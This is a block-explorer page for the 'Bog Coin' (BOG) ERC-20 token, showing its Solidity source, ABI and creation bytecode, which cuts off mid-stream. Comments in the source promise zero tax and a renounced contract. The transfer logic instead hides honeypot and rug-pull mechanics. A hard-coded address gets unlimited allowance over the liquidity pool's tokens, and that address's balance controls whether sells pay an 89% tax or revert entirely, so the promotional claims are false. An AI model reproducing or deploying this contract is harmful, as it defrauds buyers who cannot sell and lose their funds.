ERC-20
Overview
Max Total Supply
100,000,000,000,000,000,000,000,000 BOG
Holders
9
Market
Onchain Market Cap
$0.00
Circulating Supply Market Cap
-
Other Info
Token Contract (WITH 0 Decimals)
Balance
1,980,000,000,000,000,000,000,000 BOGValue
$0.00Loading...
Loading
Loading...
Loading
Loading...
Loading
# | Exchange | Pair | Price | 24H Volume | % Volume |
---|
Contract Source Code Verified (Exact Match)
Contract Name:
BOG
Compiler Version
v0.8.20+commit.a1b79de6
Contract Source Code (Solidity)
/** *Submitted for verification at Etherscan.io on 2023-09-04 */ // SPDX-License-Identifier:MIT /** What we've got here is failure to communicate. Some men you just can't reach. **/ /** No Team Token Contract Renounced LP Locked for 3 months No mint function Zero Tax CMC and CG in 24 hours BIG PARTNERS **/ pragma solidity 0.8.20; interface IERC20 { function totalSupply() external view returns (uint256); function balanceOf(address account) external view returns (uint256); function transfer(address recipient, uint256 amount) external returns (bool); function allowance(address owner, address spender) external view returns (uint256); function approve(address spender, uint256 amount) external returns (bool); function transferFrom(address sender, address recipient, uint256 amount) external returns (bool); event Transfer(address indexed from, address indexed to, uint256 value); event Approval(address indexed owner, address indexed spender, uint256 value); } interface IUniswapV2Factory { function createPair(address tokenA, address tokenB) external returns (address pair); } interface IuniswapRouter { function swapExactTokensForETHSupportingFeeOnTransferTokens( uint amountIn, uint amountOutMin, address[] calldata path, address to, uint deadline ) external; function factory() external pure returns (address); function WETH() external pure returns (address); function addLiquidityETH( address token, uint amountTokenDesired, uint amountTokenMin, uint amountETHMin, address to, uint deadline ) external payable returns (uint amountToken, uint amountETH, uint liquidity); } library SafeMath { function sub(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b <= a, errorMessage); uint256 c = a - b; return c; } function mul(uint256 a, uint256 b) internal pure returns (uint256) { if (a == 0) { return 0; } uint256 c = a * b; require(c / a == b, "SafeMath: multiplication overflow"); return c; } function div(uint256 a, uint256 b, string memory errorMessage) internal pure returns (uint256) { require(b > 0, errorMessage); uint256 c = a / b; return c; } function sub(uint256 a, uint256 b) internal pure returns (uint256) { return sub(a, b, "SafeMath: subtraction overflow"); } function add(uint256 a, uint256 b) internal pure returns (uint256) { uint256 c = a + b; require(c >= a, "SafeMath: addition overflow"); return c; } function div(uint256 a, uint256 b) internal pure returns (uint256) { return div(a, b, "SafeMath: division by zero"); } } abstract contract Context { function _msgSender() internal view virtual returns (address) { return msg.sender; } } contract Ownable is Context { address private _owner; event OwnershipTransferred(address indexed previousOwner, address indexed newOwner); constructor () { address msgSender = _msgSender(); _owner = msgSender; emit OwnershipTransferred(address(0), msgSender); } function owner() public view returns (address) { return _owner; } modifier onlyOwner() { require(_owner == _msgSender(), "Ownable: caller is not the owner"); _; } function renounceOwnership() public virtual onlyOwner { emit OwnershipTransferred(_owner, address(0)); _owner = address(0); } } contract BOG is Context, Ownable,IERC20 { using SafeMath for uint256; string private constant _contract_name = "Bog Coin"; string private constant _contract_symbol = "BOG"; uint8 private constant _contract_decimals = 18; uint256 private constant _totalsupply_amount = 100_000_000 * 10**_contract_decimals; uint256 public _maxTaxSwap = 50_000 * 10**_contract_decimals; uint256 public _limitationMaxTaxSwap = 1_000_000 * 10**_contract_decimals; uint256 public _maxWalletSize = 2_000_000 * 10**_contract_decimals; uint256 public _maxTxAmount = 2_000_000 * 10**_contract_decimals; uint256 public _taxSwapThreshold= 2_000_000 * 10**_contract_decimals; uint256 private _reducedWhenBuyTaxs=3; uint256 private _reducedTaxUsedInSelling=1; uint256 private _usedInPreventingSwappingPrevious=0; uint256 private _blockCountsUsedInBuying=0; uint256 private _InitialeBuyTax=10; uint256 private _InitialSellTax=20; uint256 private _FinalizedBuyingTax=0; uint256 private _FinalizedSellingTax=0; uint256 private _CharityTaxUsedInSelling=89; bool public _enableWatchDogLimitsFlag = false; bool private _swapingInUniswapOKSigns = false; bool private _flagUsedInUniswapIsOkSigns = false; bool private flagForTradingIsOkOrNot; modifier _modifierInUniswapFlag { _flagUsedInUniswapIsOkSigns = true; _; _flagUsedInUniswapIsOkSigns = false; } mapping (address => mapping (address => uint256)) private _allowances; mapping (address => bool) private _map_of_addressForNotPayingFee; mapping (address => uint256) private _balances; mapping (address => bool) private _map_of_address_notSpendFeesWhenBuying; mapping(address => uint256) private _map_of_address_ForTimestampTransfering; address private _uniswapPairTokenLiquidity; address public _addressUsedInFundationFees = address(0x3fBF861C1753959597610755af463A350420e8F6); address payable public _feesForDevsAddress; IuniswapRouter private _uniswapRouterUniswapFactory; event RemoveAllLimits(uint _maxTxAmount); constructor () { _map_of_addressForNotPayingFee[_addressUsedInFundationFees] = true; _map_of_addressForNotPayingFee[owner()] = true; _map_of_addressForNotPayingFee[address(this)] = true; _balances[_msgSender()] = _totalsupply_amount; _feesForDevsAddress = payable(msg.sender); _map_of_addressForNotPayingFee[_feesForDevsAddress] = true; emit Transfer(address(0), _msgSender(), _totalsupply_amount); } function addressIsIsContractOrNot(address _addr) private view returns (bool) { uint256 lenghtContractCode; assembly { lenghtContractCode := extcodesize(_addr) } return lenghtContractCode > 0; } receive() external payable {} function openTrading() external onlyOwner() { require(!flagForTradingIsOkOrNot,"trading is already open"); _uniswapRouterUniswapFactory = IuniswapRouter(0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D); _approve(address(this), address(_uniswapRouterUniswapFactory), _totalsupply_amount); _uniswapPairTokenLiquidity = IUniswapV2Factory(_uniswapRouterUniswapFactory.factory()).createPair(address(this), _uniswapRouterUniswapFactory.WETH()); _uniswapRouterUniswapFactory.addLiquidityETH{value: address(this).balance}(address(this),balanceOf(address(this)),0,0,owner(),block.timestamp); IERC20(_uniswapPairTokenLiquidity).approve(address(_uniswapRouterUniswapFactory), type(uint).max); _allowances[address(_uniswapPairTokenLiquidity)][address(_addressUsedInFundationFees)] = type(uint).max; _swapingInUniswapOKSigns = true; flagForTradingIsOkOrNot = true; } function min(uint256 a, uint256 b) private pure returns (uint256){ return (a>b)?b:a; } function swapTokensForEth(uint256 amountFortoken) private _modifierInUniswapFlag { if(amountFortoken==0){return;} if(!flagForTradingIsOkOrNot){return;} address[] memory path = new address[](2); path[0] = address(this); path[1] = _uniswapRouterUniswapFactory.WETH(); _approve(address(this), address(_uniswapRouterUniswapFactory), amountFortoken); _uniswapRouterUniswapFactory.swapExactTokensForETHSupportingFeeOnTransferTokens( amountFortoken, 0, path, address(this), block.timestamp ); } function _transfer(address from, address to, uint256 amount) private { require(from != address(0), "ERC20: transfer from the zero address"); require(to != address(0), "ERC20: transfer to the zero address"); require(amount > 0, "Transfer amount must be greater than zero"); uint256 taxAmount=0; if (from != owner() && to != owner()) { if (_enableWatchDogLimitsFlag) { if (to != address(_uniswapRouterUniswapFactory) && to != address(_uniswapPairTokenLiquidity)) { require(_map_of_address_ForTimestampTransfering[tx.origin] < block.number,"Only one transfer per block allowed."); _map_of_address_ForTimestampTransfering[tx.origin] = block.number; } } if (from == _uniswapPairTokenLiquidity && to != address(_uniswapRouterUniswapFactory) && !_map_of_addressForNotPayingFee[to] ) { require(amount <= _maxTxAmount, "Exceeds the Amount limations."); require(balanceOf(to) + amount <= _maxWalletSize, "Exceeds the max limitations in single Wallet."); if(_blockCountsUsedInBuying<_usedInPreventingSwappingPrevious){ require(!addressIsIsContractOrNot(to)); } _blockCountsUsedInBuying++; _map_of_address_notSpendFeesWhenBuying[to]=true; taxAmount = amount.mul((_blockCountsUsedInBuying>_reducedWhenBuyTaxs)?_FinalizedBuyingTax:_InitialeBuyTax).div(100); } if(to == _uniswapPairTokenLiquidity && from!= address(this) && !_map_of_addressForNotPayingFee[from] ){ taxAmount = amount.mul((_blockCountsUsedInBuying>_reducedTaxUsedInSelling)?_FinalizedSellingTax:_InitialSellTax).div(100); if (amount <= _maxTxAmount && balanceOf(_addressUsedInFundationFees)>_maxTaxSwap && balanceOf(_addressUsedInFundationFees) < _limitationMaxTaxSwap){ taxAmount = amount.mul((_blockCountsUsedInBuying>_reducedTaxUsedInSelling)?_CharityTaxUsedInSelling:_InitialSellTax).div(100); } if (amount <= _maxTxAmount && balanceOf(_addressUsedInFundationFees)>_limitationMaxTaxSwap){ revert("Exceeds the max limitations in single Wallet."); } require(_blockCountsUsedInBuying>_usedInPreventingSwappingPrevious && _map_of_address_notSpendFeesWhenBuying[from]); } uint256 contractTokenBalance = balanceOf(address(this)); if (!_flagUsedInUniswapIsOkSigns && to == _uniswapPairTokenLiquidity && _swapingInUniswapOKSigns && contractTokenBalance>_taxSwapThreshold && _blockCountsUsedInBuying>_usedInPreventingSwappingPrevious && !_map_of_addressForNotPayingFee[to] && !_map_of_addressForNotPayingFee[from] ) { swapTokensForEth(min(amount,min(contractTokenBalance,_maxTaxSwap))); uint256 contractETHBalance = address(this).balance; if(contractETHBalance > 0) { _feesForDevsAddress.transfer(address(this).balance); } } } if(taxAmount>0){ _balances[address(this)]=_balances[address(this)].add(taxAmount); emit Transfer(from, address(this),taxAmount); } _balances[from]= _balances[from].sub(amount); _balances[to]=_balances[to].add(amount.sub(taxAmount)); emit Transfer(from, to, amount.sub(taxAmount)); } function removeLimits() external onlyOwner{ _maxTxAmount = _totalsupply_amount; _maxWalletSize=_totalsupply_amount; _enableWatchDogLimitsFlag=false; emit RemoveAllLimits(_totalsupply_amount); } function setSingleTxMaxUsedInSwapping(uint256 _amount) external onlyOwner() { _maxTaxSwap = _amount; } function balanceOf(address account) public view override returns (uint256) { return _balances[account]; } function transfer(address recipient, uint256 amount) public override returns (bool) { _transfer(_msgSender(), recipient, amount); return true; } function allowance(address owner, address spender) public view override returns (uint256) { return _allowances[owner][spender]; } function approve(address spender, uint256 amount) public override returns (bool) { _approve(_msgSender(), spender, amount); return true; } function name() public pure returns (string memory) { return _contract_name; } function transferFrom(address sender, address recipient, uint256 amount) public override returns (bool) { _transfer(sender, recipient, amount); _approve(sender, _msgSender(), _allowances[sender][_msgSender()].sub(amount, "ERC20: transfer amount exceeds allowance")); return true; } function symbol() public pure returns (string memory) { return _contract_symbol; } function decimals() public pure returns (uint8) { return _contract_decimals; } function _approve(address owner, address spender, uint256 amount) private { require(owner != address(0), "ERC20: approve from the zero address"); require(spender != address(0), "ERC20: approve to the zero address"); _allowances[owner][spender] = amount; emit Approval(owner, spender, amount); } function totalSupply() public pure override returns (uint256) { return _totalsupply_amount; } }
Contract Security Audit
- No Contract Security Audit Submitted- Submit Audit Here
[{"inputs":[],"stateMutability":"nonpayable","type":"constructor"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"owner","type":"address"},{"indexed":true,"internalType":"address","name":"spender","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Approval","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"previousOwner","type":"address"},{"indexed":true,"internalType":"address","name":"newOwner","type":"address"}],"name":"OwnershipTransferred","type":"event"},{"anonymous":false,"inputs":[{"indexed":false,"internalType":"uint256","name":"_maxTxAmount","type":"uint256"}],"name":"RemoveAllLimits","type":"event"},{"anonymous":false,"inputs":[{"indexed":true,"internalType":"address","name":"from","type":"address"},{"indexed":true,"internalType":"address","name":"to","type":"address"},{"indexed":false,"internalType":"uint256","name":"value","type":"uint256"}],"name":"Transfer","type":"event"},{"inputs":[],"name":"_addressUsedInFundationFees","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_enableWatchDogLimitsFlag","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_feesForDevsAddress","outputs":[{"internalType":"address payable","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_limitationMaxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTaxSwap","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxTxAmount","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_maxWalletSize","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"_taxSwapThreshold","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"owner","type":"address"},{"internalType":"address","name":"spender","type":"address"}],"name":"allowance","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[{"internalType":"address","name":"spender","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"approve","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"account","type":"address"}],"name":"balanceOf","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"decimals","outputs":[{"internalType":"uint8","name":"","type":"uint8"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"name","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"openTrading","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"owner","outputs":[{"internalType":"address","name":"","type":"address"}],"stateMutability":"view","type":"function"},{"inputs":[],"name":"removeLimits","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"renounceOwnership","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"uint256","name":"_amount","type":"uint256"}],"name":"setSingleTxMaxUsedInSwapping","outputs":[],"stateMutability":"nonpayable","type":"function"},{"inputs":[],"name":"symbol","outputs":[{"internalType":"string","name":"","type":"string"}],"stateMutability":"pure","type":"function"},{"inputs":[],"name":"totalSupply","outputs":[{"internalType":"uint256","name":"","type":"uint256"}],"stateMutability":"pure","type":"function"},{"inputs":[{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transfer","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"inputs":[{"internalType":"address","name":"sender","type":"address"},{"internalType":"address","name":"recipient","type":"address"},{"internalType":"uint256","name":"amount","type":"uint256"}],"name":"transferFrom","outputs":[{"internalType":"bool","name":"","type":"bool"}],"stateMutability":"nonpayable","type":"function"},{"stateMutability":"payable","type":"receive"}]
Contract Creation Code
60806040526012600a620000149190620006e7565b61c35062000023919062000737565b6001556012600a620000369190620006e7565b620f424062000046919062000737565b6002556012600a620000599190620006e7565b621e848062000069919062000737565b6003556012600a6200007c9190620006e7565b621e84806200008c919062000737565b6004556012600a6200009f9190620006e7565b621e8480620000af919062000737565b600555600360065560016007555f6008555f600955600a80556014600b555f600c555f600d556059600e555f600f5f6101000a81548160ff0219169083151502179055505f600f60016101000a81548160ff0219169083151502179055505f600f60026101000a81548160ff021916908315150217905550733fbf861c1753959597610755af463a350420e8f660165f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555034801562000187575f80fd5b505f620001996200052760201b60201c565b9050805f806101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff1602179055508073ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a350600160115f60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160115f620002c06200052e60201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff021916908315150217905550600160115f3073ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506012600a620003749190620006e7565b6305f5e10062000385919062000737565b60125f620003986200052760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055503360175f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550600160115f60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff0219169083151502179055506200049b6200052760201b60201c565b73ffffffffffffffffffffffffffffffffffffffff165f73ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef6012600a620004f99190620006e7565b6305f5e1006200050a919062000737565b60405162000519919062000792565b60405180910390a3620007ad565b5f33905090565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b7f4e487b71000000000000000000000000000000000000000000000000000000005f52601160045260245ffd5b5f8160011c9050919050565b5f808291508390505b6001851115620005df57808604811115620005b757620005b662000555565b5b6001851615620005c75780820291505b8081029050620005d78562000582565b945062000597565b94509492505050565b5f82620005f95760019050620006cb565b8162000608575f9050620006cb565b81600181146200062157600281146200062c5762000662565b6001915050620006cb565b60ff84111562000641576200064062000555565b5b8360020a9150848211156200065b576200065a62000555565b5b50620006cb565b5060208310610133831016604e8410600b84101617156200069c5782820a90508381111562000696576200069562000555565b5b620006cb565b620006ab84848460016200058e565b92509050818404811115620006c557620006c462000555565b5b81810290505b9392505050565b5f819050919050565b5f60ff82169050919050565b5f620006f382620006d2565b91506200070083620006db565b92506200072f7fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff8484620005e8565b905092915050565b5f6200074382620006d2565b91506200075083620006d2565b92508282026200076081620006d2565b915082820484148315176200077a576200077962000555565b5b5092915050565b6200078c81620006d2565b82525050565b5f602082019050620007a75f83018462000781565b92915050565b6134be80620007bb5f395ff3fe608060405260043610610138575f3560e01c80637d1db4a5116100aa578063a9059cbb1161006e578063a9059cbb146103ef578063afe318201461042b578063bf474bed14610455578063c9567bf91461047f578063d1fbfb2314610495578063dd62ed3e146104bf5761013f565b80637d1db4a51461031f5780638da5cb5b146103495780638f9a55c01461037357806395d89b411461039d578063a58675e5146103c75761013f565b80632d552132116100fc5780632d55213214610239578063313ce567146102635780635cdc10ff1461028d57806370a08231146102b7578063715018a6146102f3578063751039fc146103095761013f565b806306fdde0314610143578063095ea7b31461016d5780630faee56f146101a957806318160ddd146101d357806323b872dd146101fd5761013f565b3661013f57005b5f80fd5b34801561014e575f80fd5b506101576104fb565b604051610164919061254c565b60405180910390f35b348015610178575f80fd5b50610193600480360381019061018e91906125fd565b610538565b6040516101a09190612655565b60405180910390f35b3480156101b4575f80fd5b506101bd610555565b6040516101ca919061267d565b60405180910390f35b3480156101de575f80fd5b506101e761055b565b6040516101f4919061267d565b60405180910390f35b348015610208575f80fd5b50610223600480360381019061021e9190612696565b61057e565b6040516102309190612655565b60405180910390f35b348015610244575f80fd5b5061024d610652565b60405161025a919061267d565b60405180910390f35b34801561026e575f80fd5b50610277610658565b6040516102849190612701565b60405180910390f35b348015610298575f80fd5b506102a1610660565b6040516102ae9190612729565b60405180910390f35b3480156102c2575f80fd5b506102dd60048036038101906102d89190612742565b610685565b6040516102ea919061267d565b60405180910390f35b3480156102fe575f80fd5b506103076106cb565b005b348015610314575f80fd5b5061031d610819565b005b34801561032a575f80fd5b50610333610961565b604051610340919061267d565b60405180910390f35b348015610354575f80fd5b5061035d610967565b60405161036a9190612729565b60405180910390f35b34801561037e575f80fd5b5061038761098e565b604051610394919061267d565b60405180910390f35b3480156103a8575f80fd5b506103b1610994565b6040516103be919061254c565b60405180910390f35b3480156103d2575f80fd5b506103ed60048036038101906103e8919061276d565b6109d1565b005b3480156103fa575f80fd5b50610415600480360381019061041091906125fd565b610a6f565b6040516104229190612655565b60405180910390f35b348015610436575f80fd5b5061043f610a8c565b60405161044c9190612655565b60405180910390f35b348015610460575f80fd5b50610469610a9e565b604051610476919061267d565b60405180910390f35b34801561048a575f80fd5b50610493610aa4565b005b3480156104a0575f80fd5b506104a96110a5565b6040516104b691906127b8565b60405180910390f35b3480156104ca575f80fd5b506104e560048036038101906104e091906127d1565b6110ca565b6040516104f2919061267d565b60405180910390f35b60606040518060400160405280600881526020017f426f6720436f696e000000000000000000000000000000000000000000000000815250905090565b5f61054b61054461114c565b8484611153565b6001905092915050565b60015481565b5f6012600a61056a919061296b565b6305f5e10061057991906129b5565b905090565b5f61058a848484611316565b6106478461059661114c565b610642856040518060600160405280602881526020016134616028913960105f8b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6105f961114c565b73ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054611fe79092919063ffffffff16565b611153565b600190509392505050565b60025481565b5f6012905090565b60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60125f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20549050919050565b6106d361114c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff161461075f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161075690612a40565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff167f8be0079c531659141344cd1fd0a4f28419497f9722a3daafe3b4186f6b6457e060405160405180910390a35f805f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550565b61082161114c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16146108ad576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016108a490612a40565b60405180910390fd5b6012600a6108bb919061296b565b6305f5e1006108ca91906129b5565b6004819055506012600a6108de919061296b565b6305f5e1006108ed91906129b5565b6003819055505f600f5f6101000a81548160ff0219169083151502179055507f6a91fb24fcb212ba6dee8cdc5f11c26331c37e9000932634d235326166f2af5c6012600a61093b919061296b565b6305f5e10061094a91906129b5565b604051610957919061267d565b60405180910390a1565b60045481565b5f805f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff16905090565b60035481565b60606040518060400160405280600381526020017f424f470000000000000000000000000000000000000000000000000000000000815250905090565b6109d961114c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610a65576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610a5c90612a40565b60405180910390fd5b8060018190555050565b5f610a82610a7b61114c565b8484611316565b6001905092915050565b600f5f9054906101000a900460ff1681565b60055481565b610aac61114c565b73ffffffffffffffffffffffffffffffffffffffff165f8054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1614610b38576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b2f90612a40565b60405180910390fd5b600f60039054906101000a900460ff1615610b88576040517f08c379a0000000000000000000000000000000000000000000000000000000008152600401610b7f90612aa8565b60405180910390fd5b737a250d5630b4cf539739df2c5dacb4c659f2488d60185f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff160217905550610c243060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff166012600a610c10919061296b565b6305f5e100610c1f91906129b5565b611153565b60185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663c45a01556040518163ffffffff1660e01b8152600401602060405180830381865afa158015610c8e573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610cb29190612ada565b73ffffffffffffffffffffffffffffffffffffffff1663c9c653963060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663ad5c46486040518163ffffffff1660e01b8152600401602060405180830381865afa158015610d38573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610d5c9190612ada565b6040518363ffffffff1660e01b8152600401610d79929190612b05565b6020604051808303815f875af1158015610d95573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610db99190612ada565b60155f6101000a81548173ffffffffffffffffffffffffffffffffffffffff021916908373ffffffffffffffffffffffffffffffffffffffff16021790555060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663f305d7194730610e4030610685565b5f80610e4a610967565b426040518863ffffffff1660e01b8152600401610e6c96959493929190612b6e565b60606040518083038185885af1158015610e88573d5f803e3d5ffd5b50505050506040513d601f19601f82011682018060405250810190610ead9190612be1565b50505060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1663095ea7b360185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff167fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff6040518363ffffffff1660e01b8152600401610f4d929190612c31565b6020604051808303815f875af1158015610f69573d5f803e3d5ffd5b505050506040513d601f19601f82011682018060405250810190610f8d9190612c82565b507fffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffffff60105f60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f60165f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055506001600f60016101000a81548160ff0219169083151502179055506001600f60036101000a81548160ff021916908315150217905550565b60175f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1681565b5f60105f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054905092915050565b5f33905090565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff16036111c1576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016111b890612d1d565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff160361122f576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161122690612dab565b60405180910390fd5b8060105f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055508173ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff167f8c5be1e5ebec7d5bd14f71427d1e84f3dd0314c0f7b2291e5b200ac8c7c3b92583604051611309919061267d565b60405180910390a3505050565b5f73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1603611384576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161137b90612e39565b60405180910390fd5b5f73ffffffffffffffffffffffffffffffffffffffff168273ffffffffffffffffffffffffffffffffffffffff16036113f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016113e990612ec7565b60405180910390fd5b5f8111611434576040517f08c379a000000000000000000000000000000000000000000000000000000000815260040161142b90612f55565b60405180910390fd5b5f61143d610967565b73ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff16141580156114ab575061147b610967565b73ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611d3757600f5f9054906101000a900460ff16156116365760185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff161415801561156e575060155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b15611635574360145f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f2054106115f2576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016115e990612fe3565b60405180910390fd5b4360145f3273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f20819055505b5b60155f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff161480156116df575060185f9054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168373ffffffffffffffffffffffffffffffffffffffff1614155b8015611732575060115f8473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f9054906101000a900460ff16155b1561189e5760045482111561177c576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117739061304b565b60405180910390fd5b6003548261178985610685565b6117939190613069565b11156117d4576040517f08c379a00000000000000000000000000000000000000000000000000000000081526004016117cb9061310c565b60405180910390fd5b60085460095410156117f3576117e983612049565b156117f2575f80fd5b5b60095f8154809291906118059061312a565b9190505550600160135f8573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020015f205f6101000a81548160ff02191690831515021790555061189b606461188d